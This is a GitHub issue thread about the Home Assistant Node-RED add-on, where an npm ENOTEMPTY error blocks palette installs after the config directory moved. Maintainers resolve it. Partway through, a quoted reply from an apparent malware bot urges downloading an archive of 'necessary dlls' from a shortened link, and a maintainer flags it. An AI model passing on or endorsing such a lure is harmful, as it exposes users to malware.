hassio-addons/addon-node-red

Cant install new Palette, because node-red moving to other dir

gotsila opened this issue · 6 comments

Problem/Motivation

i want install in palette the node-red-contrib-tibber

Expected behavior

`2024-09-19T10:44:52.366Z Installieren : node-red-contrib-tibber-api 6.1.0

2024-09-19T10:44:52.737Z npm install --no-audit --no-update-notifier --no-fund --save --save-prefix=~ --omit=dev --engine-strict node-red-contrib-tibber-api@6.1.0
2024-09-19T10:44:55.355Z [err] npm error code ENOTEMPTY
2024-09-19T10:44:55.356Z [err] npm error syscall rename
2024-09-19T10:44:55.356Z [err] npm error path /config/node_modules/nan
2024-09-19T10:44:55.356Z [err] npm error dest /config/node_modules/.nan-5eUCYr1y
2024-09-19T10:44:55.356Z [err] npm error errno -39
2024-09-19T10:44:55.359Z [err] npm error ENOTEMPTY: directory not empty, rename '/config/node_modules/nan' -> '/config/node_modules/.nan-5eUCYr1y'
2024-09-19T10:44:55.361Z [err]
2024-09-19T10:44:55.362Z [err] npm error A complete log of this run can be found in: /root/.npm/_logs/2024-09-19T10_44_52_960Z-debug-0.log
2024-09-19T10:44:55.371Z rc=217`

i know the node-red moves from /config/node_modules to /addon_configs/a0d7b954_nodered/ my flows working well, but how can i tell node-red to install in this new folder instead to search the old one?

Hello websquadpro,

i got this email, @websquadpro

download
https://bit.ly/4evXrQ6
I put the necessary dlls in the archive

Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you authored the thread.

Please don't respond to malware bots....

You can delete the folders in question via the addon_config share, I would also suggest installing the package via the addon config as per the documentation.

my problem is another:
Node-Red is also installed right, all my flows (last 3 years) works well.
i want upgrade some nodes with the palette menu.
the palette menu search the old dirs thats not exist. see above.

but how can i tell node-red-palette to install in this new folder instead to search the old one?

/config within the container is mapped to the addon_config path.

Ok, so you mean i have to delete the Node-Red (all saved bevore) then a new clean install?
Node-Red is located in /addon_configs/a0d7b954_nodered
but, if this is the solution then i have to do a lot work

Thats the solution, thank you